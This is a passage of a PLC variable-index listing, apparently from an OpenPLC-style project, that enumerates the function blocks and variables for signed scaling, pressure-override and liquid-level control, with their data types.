+264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; 